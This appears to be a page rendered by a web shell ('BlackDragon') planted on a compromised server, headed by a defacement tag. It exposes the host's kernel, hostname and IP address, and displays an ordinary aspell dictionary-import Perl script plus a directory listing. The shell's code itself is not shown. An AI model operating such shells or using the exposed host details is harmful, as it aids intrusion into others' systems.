Graybyt3 Was Here

Linux vps-4656817-x.dattaweb.com 5.14.0-570.33.2.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 14 07:37:35 EDT 2025 x86_64
Apache
200.58.107.103

aspell-import

#!/usr/bin/perl

#
# aspell-import -- Perl script to import old dictionaries
#
# This file is part of The New Aspell
# Copyright (C) 2001-2002 by Kevin Atkinson under the GNU LGPL
# license version 2.0 or 2.1.  You should have received a copy of the
# LGPL license along with this library if you did not you can find it
# at http://www.gnu.org/.

%abrv = qw( american     en
	    british      en
	    canadian     en
	    catala       ca
	    czech        cs
	    dansk        da
	    deutsch      de
	    ellhnika     el
	    english      en
	    espanol      es
	    esperanto    eo
	    francais     fr
	    german       de 
	    italian      it
	    liet         lt
	    nederlands   nl
	    norsk        no
	    polish       pl
	    portugues    pt
	    russian      ru
	    svenska      sv);

chdir $ENV{HOME};

foreach $file (<.ispell_*>, <.aspell.*.*>)
{
  $_ = $file;
  if    (/^.ispell_(.+)$/)            {$lang = $1; $type = 'ispell'}
  elsif (/^.aspell.(.+?).(per|pws)$/) {$lang = $1; $type = 'personal'}
  elsif (/^.aspell.(.+?).(prepl)$/)   {$lang = $1; $type = 'repl'}
  $abrv = $abrv{$lang};
  if (not defined $abrv) {
    print "Warning language \"$lang\" is not known\n" unless length $lang == 2;
    next;
  }
  open IN, $file;
  print "Processing \"~/$file\", lang = $abrv\n";
  if ($type eq 'ispell' || $type eq 'personal') {
    <IN> if $type eq 'personal';
    while (<IN>) {
      chop; 
      push @{$words{$abrv}{per}}, $_;
    }
  } elsif ($type eq 'repl') {
    $_ = <IN>;
    if (!/^personal\_repl\-1\.1/) {
      print "$file not in a supported format\n";
      next;
    }
    while (<IN>) {
      /^([^ ]+) (.+)\n$/ or die;
      push @{$words{$abrv}{repl}}, [$1,$2];
    }
  }
  close IN;
}

$SIG{PIPE} = 'IGNORE';

foreach $abrv (keys %words) {
  print "Merging $abrv\n";
  open P, "| aspell -a --lang=$abrv --sug-mode=ultra" or next;
  foreach (@{$words{$abrv}{per}}) {
    print P "* $_\n";
  }
  foreach (@{$words{$abrv}{repl}}) {
    print P "\$\$ra $_->[0],$_->[1]\n";
  }
  print P "#\n";
  close P;
}

System Information
*ReClick For Close
File : BlackDragon /acciones/about.php

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	0755	2024-11-11 09:27:18
..	dir	-	root/root	0755	2025-08-26 06:54:37
COPYING	file	25.81 KB	root/root	0644	2019-10-08 12:15:21
README	file	19.49 KB	root/root	0644	2019-10-12 10:20:39
TODO	file	89 B	root/root	0644	2019-10-08 12:15:21
aspell-import	file	2 KB	root/root	0644	2022-01-26 09:47:20
aspell-import.1	file	800 B	root/root	0644	2022-01-26 09:47:20